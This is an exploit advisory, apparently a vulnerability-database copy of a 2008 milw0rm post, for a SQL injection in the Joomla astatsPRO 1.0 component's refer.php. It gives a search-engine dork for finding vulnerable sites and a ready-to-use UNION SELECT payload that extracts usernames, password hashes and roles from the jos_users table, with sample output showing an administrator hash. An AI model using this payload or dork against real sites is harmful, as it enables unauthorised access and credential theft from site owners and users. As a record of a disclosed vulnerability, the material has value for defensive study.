Joomla Component astatsPRO 1.0 refer.php SQL Injection Vulnerability

🗓️ 18 Feb 2008 00:00:00Reported by RootType

Joomla Component astatsPRO 1.0 refer.php SQL Injection Vulnerability. Remote SQL Injection vulnerability in Joomla Component astatsPRO 1.0 allows attackers to execute arbitrary SQL commands via the id parameter in the refer.php file


                                                -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 Joomla Component astatsPRO Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

## bug found by ka0x
## D.O.M TEAM 2008
## we are: ka0x, an0de, xarnuz
## http://www.domlabs.org/
## contact: ka0x01[at]gmail.com
## from spain

d0rk: allinurl: &quot;com_astatspro&quot;

PoC: administrator/components/com_astatspro/refer.php?id=-1/**/union/**/select/**/0,concat(username,0x3a,password,0x3a,usertype),concat(username,0x3a,password,0x3a,usertype)/**/from/**/jos_users/*


Look at the code of the page:

&lt;HTML&gt;
&lt;HEAD&gt;

    &lt;TITLE&gt;302 Moved&lt;/TITLE&gt;

&lt;/HEAD&gt;
&lt;BODY BGCOLOR=#FFFFFF&gt;

    &lt;H1&gt;302 Moved&lt;/H1&gt;
    The document has moved &lt;A HREF=&quot;admin:c9cb9115e90580e14a0407ed1fcf8039:Super Administrator&quot;&gt;here&lt;/A&gt;.


&lt;/BODY&gt;
&lt;/HTML&gt;

greets: ssh-2, phnx, nettoxic, jns07, her0, JosS, Plexinium Team, FaLENcE, Hendrix,
        Piker, you_kn0w, Celciuz, Lady_Lara, The Shredder, RedHack Team, zickox, Furtivo.
       

__EOF__

    &lt;name&gt;astatsPRO&lt;/name&gt;
    &lt;creationDate&gt;16/07/2006&lt;/creationDate&gt;
    &lt;author&gt;www.joom.la&lt;/author&gt;
    &lt;copyright&gt;Copyright (c) 2006 mobico (Marcel Boettcher)&lt;/copyright&gt;
    &lt;authorEmail&gt;[email protected]&lt;/authorEmail&gt;

    &lt;authorUrl&gt;http://astatspro.joom.la/&lt;/authorUrl&gt;
    &lt;version&gt;1.0.0&lt;/version&gt;
    &lt;description&gt;&lt;![CDATA[
  &lt;span&gt;1.0.0 [stable] Component - to count your visitors.&lt;/span&gt; &lt;b&gt; Z&amp;auml;hlt ihre Besucher.&lt;/b&gt;
&lt;p&gt;&lt;b&gt;astatsPRO is based on:&lt;/b&gt; &lt;a target=&quot;_blank&quot;  href=&quot;http://christoph-bachner.net/chcounter/&quot;&gt; chCounter 3.1.1 (13|07|2005)Â©2005 www.Christoph Bachner.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
  	]]&gt;
  	&lt;/description&gt;

# milw0rm.com [2008-02-18]

18 Feb 2008 00:00Current

7.1High risk

Vulners AI Score7.1